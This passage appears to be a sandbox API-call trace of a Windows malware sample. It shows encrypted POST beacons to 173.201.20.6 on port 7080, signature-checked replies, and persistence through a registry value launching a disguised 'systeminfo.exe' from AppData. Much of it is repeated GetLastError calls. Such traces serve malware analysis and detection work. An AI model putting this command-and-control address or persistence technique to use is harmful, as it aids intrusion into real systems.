(hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0077.192] GetCurrentProcess () returned 0xffffffff [0077.192] GetLastError () returned 0x0 [0077.192] wsprintfA (in: param_1=0x2f1fba3, param_2="%X%P" | out: param_1="72EBBFP") returned 7 [0077.192] SetLastError (dwErrCode=0x0) [0077.193] GetCurrentProcessId () returned 0x81c [0077.193] GetLastError () returned 0x0 [0077.193] wsprintfA (in: param_1=0x2f1fb8f, param_2="%X%P" | out: param_1="72EBC0P") returned 7 [0077.193] SetLastError (dwErrCode=0x0) [0077.193] GetCurrentProcessId () returned 0x81c [0077.193] GetCurrentProcessId () returned 0x81c [0077.193] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0077.194] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0077.755] GetCurrentProcessId () returned 0x81c [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.755] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.756] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.757] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.758] GetLastError () returned 0x0 [0077.759] GetLastError () returned 0x0 [0077.759] GetLastError () returned 0x0 [0077.759] GetLastError () returned 0x0 [0077.759] GetLastError () returned 0x0 [0077.759] GetLastError () returned 0x0 [0077.759] GetLastError () returned 0x0 [0077.760] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0077.760] lstrlenA (lpString="just string") returned 11 [0077.760] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.760] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.761] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.762] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.763] GetLastError () returned 0x0 [0077.764] GetLastError () returned 0x0 [0077.764] GetLastError () returned 0x0 [0077.764] GetLastError () returned 0x0 [0077.764] GetLastError () returned 0x0 [0077.764] GetLastError () returned 0x0 [0077.764] GetLastError () returned 0x0 [0077.765] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0077.765] GetLastError () returned 0x0 [0077.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403cd8, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403cd8*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0077.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x403d6c, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x403d6c*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0077.765] GetLastError () returned 0x0 [0077.765] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0077.765] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x40ccf8, pdwDataLen=0x2f1fcfc | out: pbData=0x40ccf8, pdwDataLen=0x2f1fcfc) returned 1 [0077.765] CryptVerifySignatureW (hHash=0x3db768, pbSignature=0x403cd8, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0077.765] CryptDestroyHash (hHash=0x3db768) returned 1 [0077.765] GetCurrentProcessId () returned 0x81c [0077.765] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0077.765] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0077.765] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0077.766] RegSetValueExW (in: hKey=0x3fc, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0077.766] RegCloseKey (hKey=0x3fc) returned 0x0 [0077.766] GetLastError () returned 0x0 [0077.766] wsprintfA (in: param_1=0x2f1fa6f, param_2="%X%P" | out: param_1="7322FCP") returned 7 [0077.766] SetLastError (dwErrCode=0x0) [0077.766] GetCurrentProcessId () returned 0x81c [0078.019] GetTickCount () returned 0x22876 [0078.019] GetCurrentProcess () returned 0xffffffff [0078.019] GetLastError () returned 0x0 [0078.019] wsprintfA (in: param_1=0x2f1fc8b, param_2="%X%P" | out: param_1="732305P") returned 7 [0078.019] SetLastError (dwErrCode=0x0) [0078.020] GetCurrentProcessId () returned 0x81c [0078.020] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0078.020] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0078.020] GetLastError () returned 0x0 [0078.020] wsprintfA (in: param_1=0x2f1fa5f, param_2="%X%P" | out: param_1="732306P") returned 7 [0078.020] SetLastError (dwErrCode=0x0) [0078.020] GetCurrentProcessId () returned 0x81c [0078.020] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3fc [0078.021] GetCurrentProcessId () returned 0x81c [0078.021] Process32FirstW (in: hSnapshot=0x3fc, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0078.022] GetCurrentProcessId () returned 0x81c [0078.022] GetCurrentProcessId () returned 0x81c [0078.022] GetCurrentProcessId () returned 0x81c [0078.022] lstrlenA (lpString="just string") returned 11 [0078.022] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0078.036] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0078.036] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db768, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0078.036] GetCurrentProcessId () returned 0x81c [0078.036] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0078.036] GetCurrentProcessId () returned 0x81c [0078.036] CryptGetHashParam (in: hHash=0x3db768, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0078.036] CryptDestroyHash (hHash=0x3db768) returned 1 [0078.036] GetCurrentProcessId () returned 0x81c [0078.036] lstrlenA (lpString="just string") returned 11 [0078.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0078.036] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0078.036] GetLastError () returned 0x0 [0078.036] wsprintfA (in: param_1=0x2f1f993, param_2="%X%P" | out: param_1="7383DCP") returned 7 [0078.036] SetLastError (dwErrCode=0x0) [0078.036] GetCurrentProcessId () returned 0x81c [0078.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0078.036] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.036] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.036] lstrlenA (lpString="just string") returned 11 [0078.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0078.036] GetLastError () returned 0x0 [0078.036] GetCurrentProcessId () returned 0x81c [0078.037] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0078.038] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.591] GetLastError () returned 0x0 [0078.592] GetLastError () returned 0x0 [0078.592] GetLastError () returned 